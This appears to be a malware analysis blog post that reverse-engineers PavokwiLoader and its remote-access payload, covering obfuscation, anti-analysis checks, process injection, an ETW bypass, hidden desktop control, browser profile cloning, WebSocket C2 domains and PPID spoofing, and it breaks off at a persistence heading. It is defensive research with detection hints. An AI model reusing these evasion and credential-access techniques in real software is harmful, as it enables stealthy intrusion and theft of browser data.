This analysis covers the malware recovered from the intrusion chain described in Kostas’s blog “From SEO Poisoning to Custom RMM and Cobalt Strike” - if you haven’t read it yet, start there for the full attack context before diving into the binaries.
PavokwiLoader. The Binary of Nothing You Can Read
PavokwiLoader is written in C++. WinMain is one function with over 80,000 instructions, everything inlined into it.

WinMain in full
I went in expecting control-flow flattening but it isn’t that. There’s one indirect jump in the whole function and it’s an ordinary compiler switch table — though the case index comes out of a 64-bit hash, so you still can’t read which case runs.
The obfuscation is in the predicates instead - over 2K MBA clusters in this one function, and over 1K of them distinct, and 94% appear exactly once. The twelve bitwise instructions below, 0x140054E32 through 0x140054E5D, compute a - b.

Twelve instructions at 0x140054E2A that compute a - b
A lot of code that means very little, and a lot of headache. 68 functions, all from KERNEL32, no delay imports. Every one of them belongs to the MSVC runtime and nothing in the loader’s own code calls any of them. It goes through ntdll for all of it, and ntdll isn’t in the table.

API hash table
Above is the API hash table. It holds forty-eight 32-bit hashes, and the resolver walks ntdll’s export directory hashing each name until one matches. The hash is FNV-1a with the constants swapped out - seed 0x676092FE instead of 0x811C9DC5, multiplier 0xE6006695 instead of 0x01000193. Each character is OR’d with 0x20.
def api_hash(name):
h = 0x676092FE
for ch in name:
h = ((h ^ (ord(ch) | 0x20)) * 0xE6006695) & 0xFFFFFFFF
return h
We could have spent 5 hours on figuring out the API hashing algorithm above but the best way was to emulate. So we can build a PE with valid headers and a real export directory, laid out exactly the way ntdll’s is so the resolver’s parsing works unchanged, except the name table. We can send ntdll export names into the table taken from the public syscall tables. Then we point the resolver at it and let it hash our list with its own code, hooking the hash loop to catch every name and the hash it produced.
Below is the snippet of the loop that produces those hashes.

The API hash loop
It’s the same obfuscation as the rest of the binary, pointed at the hash. The seed is on line 4107 - v589 = 1734382334, which is 0x676092FE. It’s sitting in the open, and it’s still effectively hidden, because everything around it is noise, then there are the predicates. Line 4416 zeroes v592 if v1139 != v1155. Line 4421 zeroes v594 if v1104 != v1105. Line 4432 sets v597 if v1104 == v1105.
We got forty-eight APIs back:
All forty-eight came back.
| Hash | API |
|---|---|
| EDD40946 | ZwAllocateVirtualMemory |
| 98F7762A | ZwWriteVirtualMemory |
| 547DFEAD | ZwReadVirtualMemory |
| D1295113 | ZwFreeVirtualMemory |
| 2B8FEE08 | ZwProtectVirtualMemory |
| 4F05EAD8 | ZwOpenProcess |
| 7B658F85 | ZwGetNextProcess |
| 93342FA1 | ZwTerminateProcess |
| FFA1B342 | ZwQueryInformationProcess |
| 786ABBBD | ZwUnmapViewOfSection |
| D09BB7D0 | ZwGetContextThread |
| 3D35B134 | ZwSetContextThread |
| FFDE752E | ZwSuspendProcess |
| E53AE315 | ZwResumeProcess |
| 511C52AC | ZwCreateThreadEx |
| 3499C218 | ZwResumeThread |
| 819F0F83 | ZwFlushInstructionCache |
| C2357158 | ZwDelayExecution |
| AC93DB43 | ZwCreateEvent |
| 22CE7E4D | ZwQuerySystemTime |
| 5BA5FD71 | ZwClose |
| E45D2D38 | ZwOpenKey |
| ABAB7E21 | ZwQueryValueKey |
| B66B3B28 | ZwEnumerateKey |
| B5D63240 | ZwQuerySystemInformation |
| 2057B111 | ZwDuplicateObject |
| EC65679C | ZwQueryObject |
| 1588A275 | ZwCreateFile |
| A250B80F | ZwReadFile |
| 2C9C3394 | ZwWriteFile |
| C617296F | ZwQueryInformationFile |
| 4CEFAE6F | ZwSetInformationFile |
| 4A4CA34A | ZwFlushBuffersFile |
| 72DE7294 | ZwWaitForSingleObject |
| 7A7AD4A3 | ZwFsControlFile |
| 7E962EE0 | ZwQueryAttributesFile |
| 6FBBF7B6 | ZwQueueApcThread |
| ABA78219 | ZwCreateUserProcess |
| C1513763 | ZwQueryVolumeInformationFile |
| F96F48E2 | ZwQueryDirectoryFile |
| 68B197E2 | ZwCreateSection |
| 282EE0FE | ZwMapViewOfSection |
| D545ED43 | ZwCreateTransaction |
| 09BE8FA5 | ZwRollbackTransaction |
| 24043593 | ZwCreateDebugObject |
| 0DC99649 | ZwDebugActiveProcess |
| F8AC5596 | ZwWaitForDebugEvent |
| DE88A9C7 | ZwDebugContinue |
Most of it is what you’d expect from a loader - memory, process and thread control, sections, files, registry.
Anti-debug
The loader checks for a debugger three times. First it reads its own thread context, asking for ContextFlags = 0x00100010 - CONTEXT_AMD64 | CONTEXT_DEBUG_REGISTERS. That flag tells the kernel to fill in Dr0 through Dr3, which hold hardware breakpoint addresses, along with Dr7, which says which of them are switched on.
Then it queries its own process twice with ZwQueryInformationProcess, asking for ProcessDebugPort and then ProcessDebugObjectHandle. The first returns the process’s debug port, which is what CheckRemoteDebuggerPresent relies on. IsDebuggerPresent only reads the BeingDebugged byte in the PEB, and that byte is the first thing anyone flips. The second returns a handle to the debug object, which catches a debugger that has nulled the port but left the object behind.
None of those three values is in the binary. You can search for 0x00100010 and you get nothing - they are assembled at runtime like everything else here, so the only way to read them is to emulate and watch the call happen.

The emulator answers with a breakpoint in Dr0, and the loader terminates immediately
Anti-VM
Two registry keys, read through ZwOpenKey, ZwEnumerateKey and ZwQueryValueKey.
| Key | Value | Fails on |
|---|---|---|
| \Registry\Machine\SYSTEM\CurrentControlSet\Control\Class{4d36e968-e325-11ce-bfc1-08002be10318} | DriverDesc | anything that isn’t nvidia or intel |
| \Registry\Machine\SYSTEM\CurrentControlSet\Services\disk\Enum | — | vbox, qemu, virtual, vmware |
The first is the display adapter class key, enumerated subkey by subkey - the loader wants to see a real GPU, and it only accepts nvidia or intel. There’s no amd in the list, so a Radeon machine fails the same check a VM does. The second is the disk enumeration key, whose numbered values are checked for virtual controller strings.
Sandbox checks
It compares the current username against a hardcoded list: john, sandbox, analyst, malware, virus, test, sample, cuckoo, wilbert, johnson, miller, emily, default.
Host profiling
The loader reads SystemBasicInformation for processor count and physical memory, opens \??\C:\ and issues a FileFsSizeInformation query, and requests SystemProcessInformation to walk the process list. The volume query acts on TotalAllocationUnits. A 500 GB drive with nothing left on it passes but a 40 GB drive that is completely empty does not and when it doesn’t pass the check - it also calls ZwTerminateProcess.
How to Bypass the Evasion
Before any of the environment checks, the loader probes for %APPDATA%\fontcache_ms. If the file is there it skips the whole evasion checks and goes directly to decrypting the payload. The marker means the host was already vetted on an earlier run. I tested this on a machine built to fail four separate gates at once: two cores, 4 GB of RAM, a 20 GB disk, ten running processes and a Basic Display Adapter and with the marker present it decrypted anyway.
String encryption
Every string the loader relies on is encrypted. The decryptor builds a keystream from the loop index using MBA arithmetic, but it all reduces - the last two multiplications are inverses mod 256 and cancel out, so what’s left is plaintext[i] = ciphertext[i] XOR keystream[i].

The string cipher’s inner loop - all of this is one XOR.
Process injection
After decrypting the strings, we get more insights into this loader. It checks for twelve executables:
System32\smartscreen.exeSystem32\ctfmon.exeGoogle\Chrome\Application\chrome.exeMicrosoft\Edge\Application\msedge.exeBraveSoftware\Brave-Browser\Application\brave.exeVivaldi\Application\vivaldi.exeYandex\YandexBrowser\Application\browser.exePrograms\Opera\opera.exeOpera\opera.exePrograms\Opera GX\opera.exeMozilla Firefox\firefox.exeChromium\Application\chromium.exe
Each path is assembled at runtime from the decrypted fragments, prefixed with \??\ and one of PROGRAMFILES, PROGRAMFILES(X86), LOCALAPPDATA or SYSTEMROOT. The loader works down the list in order and stops at the first executable that exists. smartscreen.exe comes first, then ctfmon.exe, then the browsers in the order they are stored: Chrome, Edge, Brave, Vivaldi, Yandex, the three Opera variants, Firefox, Chromium. Each browser is tried against three roots before it moves to the next one. On a machine where everything is installed the probing is two calls long - smartscreen.exe exists, and it never asks about anything else.
It spawns the target suspended through ZwCreateUserProcess. Suspended means the process exists and its image is mapped but the initial thread has not run an instruction yet, which gives the loader a window to modify the process before it starts running its own code. Going through ZwCreateUserProcess also skips CreateProcessW and the kernel32 layer, where a lot of usermode hooks sit.
What happens in that window is a write into another process’s memory. ZwAllocateVirtualMemory, ZwWriteVirtualMemory and ZwProtectVirtualMemory all take a process handle as their first argument, and that handle decides whose memory gets touched.
The child’s own image is never unmapped, so this is not process hollowing. ZwUnmapViewOfSection, ZwCreateSection and ZwMapViewOfSection are all resolved in the hash table and none of them is ever called.
At this point the payload is sitting in the child’s memory and nothing is running it. The loader has two ways to change that, both aimed at the child’s initial thread - the one that’s still suspended.
The first queues an asynchronous procedure call with ZwQueueApcThread pointing at the payload. A thread drains its APC queue when it resumes, before it runs the process’s own startup code, so the payload executes first. The second reads the suspended thread’s saved register state with ZwGetContextThread, changes the instruction pointer to the payload, and writes the state back with ZwSetContextThread. ZwResumeThread then lets the thread run, and it starts at the payload instead of where it was supposed to start.
Second Stage or a “Container”?
Before the loader gets to the second stage, it checks how long it has been running.
All the anti-analysis work above takes a real machine a moment to get through. So the loader saves a timestamp before it starts, reads the clock again after, and refuses to continue unless at least half a second has gone by. On real hardware the check passes by itself, because the work genuinely took that long. In an emulator with a frozen or faked clock, no time appears to pass at all, and the loader stops there. It isn’t waiting for anything - it’s asking whether the clock it’s reading belongs to a real machine.
Where it reads that clock from is what makes it awkward to fake. Windows maps KUSER_SHARED_DATA into every process at a fixed address and keeps the current time in it, so a program can read the time with an ordinary memory load. The loader reads KUSER_SHARED_DATA.SystemTime and does the subtraction itself. Getting past it means giving the emulator a clock derived from how many instructions it has run, so time advances in proportion to the work the loader does. Past that check, the loader starts assembling its second stage.
The loader allocates a buffer and runs 652 memcpys into it, pulling chunks out of a large blob in .rdata. Between the chunks are 651 gaps it skips over - 195k bytes of filler that exist to break up the thing being hidden. What comes out is 1,425,984 bytes, and it disassembles as x86-64.

Filler inside the carrier blob - CSS fragments padding the gaps between the 652 real chunks

652 chunks pulled out of the 1.6 MB blob
After pulling the chunks together, you might think the result looks like code but it’s not. It’s a container, and the real data is sitting in the operand fields. The loader walks it instruction by instruction and pulls out the displacement bytes, then the immediate bytes, at whatever width each one was encoded with. It leaves the relative targets of call, jmp and jcc alone. Those have to stay valid, because a jump that points somewhere sensible is what keeps the container disassembling as code. Hide payload bytes in them and the jumps end up in the middle of instructions, the disassembly falls apart, and what’s left stops looking like an actual legitimate program.

Fourteen instructions of the container, and what the extractor takes from each
Collecting the operands leaves about 771k bytes, and they’re encrypted. Entropy is 7.49, the byte histogram is flat across all values. The decryption of the stage 2 is ChaCha with a few values changed. The constants aren’t expand 32-byte k, the rotations are 21/10/15/14 instead of 16/12/8/7, there are 24 rounds instead of 20, and the block counter starts at one. It isn’t anything unique, just one that won’t match anything looking for ChaCha’s constants. But to get the proper key and nonce we need to emulate instead of getting lost in the MBA.

The assembled container at 7.49 entropy (Source: DiE)
Stage 2 decryption using ChaCha:
import struct
M = 0xFFFFFFFF
ROT = (21, 10, 15, 14) # ChaCha uses 16, 12, 8, 7
ROUNDS = 24 # ChaCha uses 20
CONSTS = (0xEFC1549C, 0xB4554834, 0x3C940E92, 0x86DBC1F4) # not "expand 32-byte k"
KEY = bytes.fromhex("f35500064b0122e9b48366c62f172564"
"863bd4d0c8167a4c63afb70efbaab048")
NONCE = bytes.fromhex("4cffd00116352513e1e03e28")
def rotl(v, c):
return ((v << c) | (v >> (32 - c))) & M
def block(s):
x = list(s)
r1, r2, r3, r4 = ROT
def qr(a, b, c, d):
x[a] = (x[a] + x[b]) & M; x[d] ^= x[a]; x[d] = rotl(x[d], r1)
x[c] = (x[c] + x[d]) & M; x[b] ^= x[c]; x[b] = rotl(x[b], r2)
x[a] = (x[a] + x[b]) & M; x[d] ^= x[a]; x[d] = rotl(x[d], r3)
x[c] = (x[c] + x[d]) & M; x[b] ^= x[c]; x[b] = rotl(x[b], r4)
for _ in range(ROUNDS // 2):
qr(0,4,8,12); qr(1,5,9,13); qr(2,6,10,14); qr(3,7,11,15)
qr(0,5,10,15); qr(1,6,11,12); qr(2,7,8,13); qr(3,4,9,14)
return struct.pack("<16I", *[(x[i] + s[i]) & M for i in range(16)])
def decrypt(ct, key=KEY, nonce=NONCE):
s = list(CONSTS) + list(struct.unpack("<8I", key)) \
+ [0] + list(struct.unpack("<3I", nonce))
ks, ctr = bytearray(), 1 # counter starts at 1, not 0
while len(ks) < len(ct):
s[12] = ctr & M
ks += block(s)
ctr += 1
return bytes(a ^ b for a, b in zip(ct, ks))
Now, Is It Truly a Second Stage?
The decrypted payload above is a wrapper, and its job is to reflectively load the final stage. Normally Windows loads a PE for you. The loader reserves memory, copies each section to the right address, patches the relocations if it couldn’t get the preferred base, resolves the imports, sets the page protections, and calls the entry point - and it records the module, so every tool that lists loaded DLLs sees it. Reflective loading is doing all of that. This wrapper implements three of those six steps. It sets page protections, resolves imports, and calls the entry point. There is no allocation, no section copying and no relocation processing anywhere. It skips those steps because they already happened. The final stage isn’t a blob the wrapper has to unpack into memory - it was built into the wrapper as sections of the wrapper, so it gets mapped along with it.
The section table below gives us some of the hints:

The wrapper’s section table (Source: Malcat)
.pad holds no data at all, and its only property is 0xC000 of virtual size, which pushes .btnkos out to RVA 0x10000. Against the wrapper’s image base of 0x13FFF0000 that works out to 0x140000000, which is the preferred base of the PE sitting inside .btnkos.
The wrapper starts by walking the module list out of the PEB.

The wrapper walking InMemoryOrderModuleList and hashing each BaseDllName. 0x88C752E2 is KERNEL32.DLL, 0xA0D06DDA is NTDLL.DLL
The wrapper uses the same FNV variant described above, same seed and same multiplier. From there the stub walks the section table and sets page protections.
Imports go through LdrLoadDll and LdrGetProcedureAddress instead of LoadLibraryW and GetProcAddress.
| Hash | API |
|---|---|
| E14DCADA | LdrLoadDll |
| 474ABF05 | LdrGetProcedureAddress |
| 50DEC9E1 | RtlAddFunctionTable |
| F40BF4EA | RtlCreateTimerQueue |
| EFCD6D6B | RtlCreateTimer |
| 043AE37D | EtwEventWrite |
| 6DE4A75A | RtlAddVectoredExceptionHandler |
ETW Bypass
Windows logs security-relevant events through ETW, and almost all of it funnels through one function called EtwEventWrite. Security products read what comes out, so silencing that function removes a large part of what an EDR would otherwise see. The usual way to silence it is to overwrite its first instruction with a return. That works, but patching ntdll means making a system module’s code writable first, and afterwards the copy in memory no longer matches the file on disk - both are things an EDR looks for.
The wrapper takes a different route. A hardware breakpoint does not redirect execution, it only tells the CPU to raise an exception when it reaches the address. Something has to catch that exception or the process dies, which is what the handler is for. The breakpoint is the trigger and the handler is the bypass.
The wrapper resolves EtwEventWrite for the breakpoint address and RtlAddVectoredExceptionHandler to register the handler. It passes 1 as the flag, putting its handler at the front of the vectored handler list, so nothing else registered in the process gets the exception first. Then it reads its own thread CONTEXT, writes the EtwEventWrite address into DR0, and enables that slot in DR7 as an execute breakpoint, which fires when the CPU fetches the instruction, not when something reads or writes the address. Neither the read nor the write of the context goes through ntdll’s stubs. Both are issued as indirect syscalls - the syscall number is recovered from the export table and the syscall instruction itself is borrowed from inside ntdll.
Windows passes the handler a copy of the thread’s registers, and returning EXCEPTION_CONTINUE_EXECUTION makes the kernel resume from that copy. After checking the exception code is STATUS_SINGLE_STEP and the faulting address matches DR0, the handler rewrites the copy to look like EtwEventWrite already returned. RAX gets zero, RIP gets the return address pulled off RSP, RSP moves up eight to pop it, DR6 is cleared. The caller resumes with a success code from a function that never ran an instruction. Anything that fails either check is passed on untouched, and because debug registers are per-thread, only the thread that runs the wrapper is silenced.

The handler checks the exception is its own, then fakes a successful return from EtwEventWrite
Final Stage
All the useful strings are ChaCha20 ciphertext. The key and nonce are hardcoded in the binary:
- key: 33 75 48 EB CC A1 B3 CE 42 83 E2 2F 3A BC 85 A7 FC E0 29 BF 40 17 F7 33 4E C2 AE E8 32 AE 76 78
- nonce: BA 2A D2 EF 22 36 06 F3 C5 6C 42 64

The encrypted string table
For API hashing - the hash is the same FNV-1a variant described earlier, with different constants.
HVNC
The recovered APIs give us a bit of insight into the final stage. CreateDesktopW creates a desktop object in the process’s window station. The process launched onto it is created through RtlCreateProcessParametersEx and ZwCreateUserProcess, so its windows land on that desktop rather than on Default. A desktop that is never made the input desktop is never composited, which is why the capture cannot be a screen grab. EnumDesktopWindows walks the window list by HDESK and PrintWindow sends each window WM_PRINT, making it render itself into a device context, the one capture method that does not require the window to have ever been drawn to a display. Neither import list has the GDI calls that would create that device context, so where it comes from is still open.
Input runs the same path in reverse. WindowFromPoint and ChildWindowFromPointEx resolve the operator’s coordinates to the control underneath, ScreenToClient converts them into that control’s client space, MapVirtualKeyW translates virtual keys to scan codes, and PostMessageW delivers the events to the target window. SendInput is in the import list too, but it only reaches the input desktop, so it can’t be what drives the hidden one. SetThreadDpiAwarenessContext pins the thread’s DPI context so operator and target agree on what a pixel is.
It never imports SwitchDesktop, OpenInputDesktop or SetThreadDesktop, so it never puts that desktop on the user’s monitor and never reads back the one they are actually using. A parallel workspace, not a session takeover. That gives the binary two independent remote-control paths: the CDP one drives a browser with the victim’s profile, this one drives anything at all where nobody can see it.
Frames come from two places. The hidden browser is captured over CDP with Page.captureScreenshot, as webp or png. The binary also carries a full baseline JPEG encoder, with the JFIF header and the standard Huffman and quantisation tables. CDP can only capture a browser, so the encoder is most likely there for the hidden desktop, where PrintWindow renders the windows and the payload has to compress the frames itself.
The profile clone
The section above says the CDP path drives a browser with the victim’s profile. That isn’t a figure of speech, and the mechanism is worth spelling out, because it’s also the answer to what App-Bound Encryption does and doesn’t buy you.
Chrome keeps its master key in Local State, under os_crypt.encrypted_key, base64 with a DPAPI prefix on the raw bytes. Anything running as that user can unwrap it and decrypt the v10 blobs inside Login Data, Web Data and Cookies. App-Bound Encryption, added around Chrome 127, was meant to end that. The key in os_crypt.app_bound_encrypted_key is wrapped by a SYSTEM-privileged COM service that validates the calling application, so having the user’s DPAPI credentials is no longer enough.
The payload looks for both key names. It builds a two-entry needle array on the stack and substring-searches Local State for "app_bound_encrypted_key" and then for "aster_app_bound_encrypted_key". The second one has a leading double-quote, so it can’t match a master_-prefixed variant and never matches anything in stock Chrome. Most likely a builder typo. The lookup runs, misses, and falls through.
What it does next makes the ABE branch irrelevant. Out of every decrypted string the only DPAPI call name is CryptProtectData. There is no unprotect, no IElevator, no elevation-service CLSID. The payload never decrypts anything offline. It copies the profile into its own user-data directory, writes that directory a fresh Local State carrying the harvested key, and launches the real browser against it with --user-data-dir= and --profile-directory=. Chrome then decrypts its own data as a matter of course.
The JSON assembly is literal. It searches the file for "os_crypt". On a hit it seeks forward to the opening {. On a miss it walks backward from the end to the final } and splices in:
"os_crypt":{"encrypted_key":"<base64 DPAPI blob>"}
Emulating the splice routine against a synthetic Local State gives exactly that, inserted right before the terminating brace:
{"profile":{"info_cache":{}},"user_experience_metrics":{"stability":{}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6w=="}}
Two artifacts fall out of that. The insert always lands last, so a Local State whose os_crypt is the final key in the object, rather than wherever Chrome would have written it, is odd on its own. And the constructed file carries only encrypted_key, never an app_bound_encrypted_key next to it, even when it was cloned from a profile that had one. A Local State in a non-standard user-data directory, recently written, with a lone encrypted_key, is a fairly specific thing to hunt for.
The browser is then hardened against its own automation tells. The UA has HeadlessChrome and Headless stripped, and Page.addScriptToEvaluateOnNewDocument injects Object.defineProperty overrides for navigator.webdriver, navigator.plugins (a full synthetic PDF-viewer plugin array), navigator.languages and window.chrome.
Firefox runs its own path instead of the CDP one: -no-remote -profile, with xulstore.json written to set the window geometry, and sessionstore.jsonlz4, sessionCheckpoints.json and prefs.js handled directly.
Command and Control
The payload has three C2 slots holding two distinct endpoints. Slots 2 and 3 are the same URL:
wss://salobakodasofne[.]com/ws
wss://ajdbsgjlgbdfgsdlfkbskldf[.]com/ws (slots 2 and 3, identical)
None of it goes through WinHTTP, WinINet or Winsock. Sockets are opened on \Device\Afd\Endpoint and driven with ZwDeviceIoControlFile. TLS 1.3 is implemented from scratch: X25519 for the key exchange, HKDF-SHA256 for the key schedule, AES-GCM for records.
The payload opens four threads. Three of them run the same connection loop and differ only in the handler they pass to it:
| Channel | Role |
|---|---|
| agent | tasking, HVNC control |
| file_agent | files, modules, persistence |
| stream_agent | screen stream |
Each channel is its own WebSocket connection to the same host, identified by the channel name it sends after the upgrade. Tasking, file transfer and the screen stream never share a socket.
Proxy
If ProxyEnable is set under Internet Settings, the payload reads ProxyServer and tunnels out with CONNECT:
CONNECT host:port HTTP/1.1
Host: host:port
User-Agent: Mozilla/5.0
Proxy-Connection: keep-alive
It checks every user hive under \Registry\User\, including .DEFAULT, not only the current user’s.
DNS-over-HTTPS fallback
There is a fourth way to reach the C2. The payload can pull a C2 URL out of a DNS TXT record, but the lookup never goes out as DNS, it goes out as HTTPS.
It builds a normal DNS query for a TXT record by hand and POSTs it to a public resolver over its own TLS stack. The resolver IPs are hardcoded:
8.8.8.8 Host: dns.google
1.1.1.1 Host: cloudflare-dns.com (used if 8.8.8.8 fails)
POST /dns-query HTTP/1.1
Host: dns.google
Content-Type: application/dns-message
Accept: application/dns-message
Content-Length: 28
Connection: close
<binary DNS query>
The payload takes the first TXT answer, base64-decodes it, and XORs it with a hardcoded 32-byte key:
19 82 9C 6F 78 AA D7 35 3D 88 4D 8F 67 8B 95 6C
0A 3F 4B BC E8 B4 14 20 3F C7 67 9B 16 47 36 8E
If the result starts with ws://, wss://, http:// or https://, it’s added as a new C2 endpoint.
The idea is that the operator publishes the next C2 as a TXT record on a domain they control. Moving to new infrastructure then only takes a DNS change, and infected hosts pick it up without a new build. On this build, though, the domain it queries is google.com. The only TXT records it can get back are Google’s own, SPF and site-verification tokens, and none of them decode to a URL. The fallback runs but never produces a C2, and there is no attacker record to find for this sample. Either the builder is meant to swap that domain per campaign, or this build shipped without one. The code still runs: every startup and every failover sends a DoH POST to 8.8.8.8 asking for google.com TXT.
To show what a working record looks like, we encoded the existing C2 URL with the key. This record is constructed, not observed:
wss://salobakodasofne[.]com/ws -> bvHvVVeFpFRR5y/uDOTxDXlQLdKNmndPUugQ6BY=
Handshake
All three channels open with the same handshake:
GET <path> HTTP/1.1
Host: <host>
Origin: <origin>
Sec-WebSocket-Key: a9BlgZwbiIR3jQIFM+ZjPw==
Sec-WebSocket-Version: 13
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Key is supposed to be 16 random bytes per connection. Here it’s a hardcoded constant, the same on every connection from every host, a9BlgZwbiIR3jQIFM+ZjPw==
Registration
Once the connection upgrades, the agent has to tell the C2 who it is. Most payloads generate a random ID at install and save it somewhere. This one saves nothing, it recalculates the ID from the host every time it runs. It hashes the host identity with FNV-1a-64, then does a second pass that mixes in a hardcoded salt, DGnk_24598AWE*&. The 64-bit result becomes sixteen hex characters and goes out as register,<id>,<channel>, followed by the identity blob:
{"guid":"<MachineGuid>","user":"…","build":"g3","pc":"<COMPUTERNAME>",
"domain":"<USERDOMAIN>","arch":"<PROCESSOR_ARCHITECTURE>",
"cpus":<NUMBER_OF_PROCESSORS>,"winver":"…"}
"build":"g3" seems to be a constant, potentially a build tag.
Commands are hashed too
Commands are hashed in the binary, so we brute-forced the hashes against a wordlist made from the decrypted strings:
| Command | Description |
|---|---|
| cmd:exec | Runs a command line. Acks with cmd:ack,, returns output in cmd:result,. Payload is base64-encoded. |
| shell | Same executor via the shell path - cmd.exe /Q /D for batch or powershell -NoLogo -NoProfile. The script goes into \Device\NamedPipe\S. as stdin, output comes back over two \Device\NamedPipe\A. |
| process:kill | Terminates a process, reports via process:kill_result, |
| session:kill | Closes the hidden browser session via the CDP Browser.close path |
| persist:remove | Removes a persistence entry; reaches the logon-script installer, replies persist:remove_result, |
| fs:channel | Opens the dedicated file-transfer channel, replies fs:ack,open |
| fs:list | Directory listing, replies fs:ack,list, with the JSON entry array |
| fs:mkdir | Creates a directory, replies fs:mkdir_result, |
| fs:delete | Deletes a path, replies fs:delete_result, |
| fs:download | Pulls a file off the host, chunked with meta and progress frames |
| fs:upload_begin | Starts a file write to the host |
| fs:upload_chunk | Next chunk of that write, payload base64 |
| fs:upload_end | Finalises the write |
| module:begin | Starts a .heiz module transfer, same state machine as the upload path |
| module:chunk | Next chunk of the module |
| module:end | Finalises and installs the module |
| module:cancel | Aborts a partial module transfer |
| hvnc:start | Starts the hidden browser session; emits started, then browser_ready |
| hvnc:stop | Tears it down; emits browser_closed, stopped |
| vnc:start | Same start, on the hidden-desktop path rather than the browser one |
| vnc:stop | Same teardown, hidden-desktop path |
| resolution | Sets or reports session resolution, logged back. Default is 1600x1000 |
| user_agent | Gets or sets the UA override, building {“userAgent”:”…”} for Emulation.setUserAgentOverride. The default strips HeadlessChrome and Headless out of the browser’s own UA |
| navigate | Navigates to a URL (Page.navigate); handler checks for http:// / https:// |
| back | History back, executed as JavaScript through Runtime.evaluate |
| forward | History forward, same mechanism |
| refresh | Page reload, same mechanism |
| clear | Clears the focused input via Runtime.evaluate |
| close | Closes the current target |
| click | Mouse click, Input.dispatchMouseEvent with left |
| dblclick | Double click |
| right_click | Click with right button selection |
| mouse_down | Button press only, for drags |
| mouse_up | Button release only |
| hover | mouseMoved with no button pressed |
| scroll | Wheel event |
| type | Text entry via Input.insertText |
| enter | Enter keypress |
| sites | Dumps Top Sites, History, Login Data, Web Data and Cookies |
| sites_dump | Delivers that dump as sites.zip |
| tabs | Returns the open tab list as JSON |
| cookies:load | Injects cookies into the session via Network.setCookie; errors as cookies:error |
| screen:capture | Captures a frame via Page.captureScreenshot, webp or png |
Shell
The command executor builds %SystemRoot%\System32\cmd.exe and picks one of two shapes depending on what the operator sent.
Batch goes through " /Q /D " with the body wrapped:
@echo off
chcp 65001 > nul
<command>
exit
PowerShell tasks start this process tree:
smartscreen.exe <- the payload
└── cmd.exe /C "powershell -NoLogo -NoProfile -Command -"
└── powershell.exe -NoLogo -NoProfile -Command -
The command line never contains the script. Before launching, the payload builds three pipes and attaches them as the new process’s standard handles.
Stdin is created inline in the shell executor under \Device\NamedPipe\S.. The server end is opened GENERIC_READ and handed to the child, and the payload keeps the client end and writes into it. Stdout and stderr come from a separate helper, which does on the Nt layer what CreatePipe does internally: a server end through ZwCreateNamedPipeFile, a client end through ZwCreateFile. Those use the prefix \Device\NamedPipe\A. with a suffix from a process-global counter bumped by lock xadd, written out as lowercase hex. The helper gets called twice. So every shell task leaves three pipes behind, one S. and two sequential A. names, created back to back by the injected process.
The pipes are byte-stream, single instance, 4 KB of quota each direction, five second default timeout. The server end is created with FILE_CREATE, so a name collision fails instead of quietly joining an existing instance. OBJ_INHERIT is set on the three handles the child needs and nothing else.
-Command - tells PowerShell to read its commands from stdin, so it starts up and waits on the S. pipe. The payload then writes one line into it, with the operator’s script base64-encoded as UTF-16 inside:
[Console]::OutputEncoding = [System.Text.Encoding]::UTF8;
iex([System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('…')))
PowerShell decodes the blob back into the script and runs it with iex. Process creation logs only ever see powershell -NoLogo -NoProfile -Command -, the same for every task, and the script shows up in script block logging (Event 4104), not anywhere in process creation.
Process creation and PPID spoofing
A single launcher creates every process the payload spawns, including the shell and the browser. It resolves RtlCreateProcessParametersEx from ntdll by hash, builds the process parameters itself, and calls ZwCreateUserProcess directly.
When the caller does not need to capture output, the launcher reparents the new process. It walks the process list, hashes each image name, and stops at 0x5A2E5332, explorer.exe. The hash folds case, so renaming or recasing the image doesn’t change the match. It opens explorer.exe with PROCESS_CREATE_PROCESS, holds the handle for the life of the payload, and hands it to the kernel as the new process’s parent. The browser comes up looking like the user launched it from the desktop.
Nothing here is falsified. The kernel really does make explorer.exe the parent, so anything reading the parent field gets a truthful answer that happens to be useless. What separates the two is that the creator and the parent are now different processes, and kernel process-creation callbacks receive both, so a sensor at that layer sees smartscreen.exe create a process that explorer.exe adopts. PROCESS_CREATE_PROCESS is worth watching for in its own right. It is the minimum access needed to reparent, and very little legitimate software asks for it against explorer.exe.
The cmd.exe it starts for operator commands isn’t reparented, and the reason is a constraint the author had to design around. Handle inheritance follows the parent, not the creator. With explorer.exe as the parent, the child would inherit explorer.exe’s handles and never get the stdin, stdout and stderr pipes the payload set up for it. So when the caller passes stdio handles, the launcher gives up the fake parent and hides the window instead. WindowFlags gets STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW and ShowWindowFlags is zeroed for SW_HIDE. What it buys back is narrow: only the three pipe ends are marked inheritable, nothing else in the payload’s handle table. Output capture and parent spoofing are mutually exclusive here, and that is what leaves operator commands visible. Hunt for cmd.exe under the injected process, smartscreen.exe on our bench, or PowerShell ending in -Command -.
File transfer
The file manager runs over its own WebSocket channel, the file_agent connection. It can list, create and delete folders, download files from the victim, and upload files to it. Directory listings come back as JSON:
{"path":"…","parent":"…","entries":[{"name":"…","path":"…","is_dir":true}],"has_more":false,"error":"…"}
has_more pages large directories so a listing never blows the frame.
Drives are not enumerated through an API. It reads \Registry\Machine\SYSTEM\MountedDevices and matches on \DosDevices\.
Downloads are chunked, with fs:download_meta,, fs:download_chunk,, fs:download_progress, and fs:download_error, frames. Multi-file selections are zipped before transfer, and the error strings give you the limits it enforces:
| Reply | Condition |
|---|---|
| selection too large (>2GB) | zip input over 2 GB |
| archive too large or unreadable | resulting archive rejected |
| sharing violation | file locked by another process |
| file channel down | fs:channel was never established |
| error:empty_path | empty path argument |
sites_dump reuses the same chunked download for browser data, zipping the Top Sites, History, Login Data, Web Data and Cookies that sites gathers and replying fs:ack,sites_dump,. Each SQLite database is copied together with its -wal and -shm sidecars. That is what lets it rebuild the current state of a profile that is still open, instead of a checkpointed snapshot missing the session’s most recent writes. Firefox gets the same treatment through parent.lock and .parentlock, which the payload checks before touching a profile.
Modules
Modules come down the file channel in pieces, over the same chunked transfer used for uploads:
| Command | Description |
|---|---|
| module:begin | opens a new module transfer |
| module:chunk | sends the next piece |
| module:end | finishes the transfer and writes the module to disk |
| module:cancel | aborts the transfer |
The payload confirms each piece with module:ack, and reports success or failure with module:result,. Regular file uploads use the same code, with fs: messages instead of module:. Finished modules are written into a modules directory with the extension .heiz.
Five ways to persist
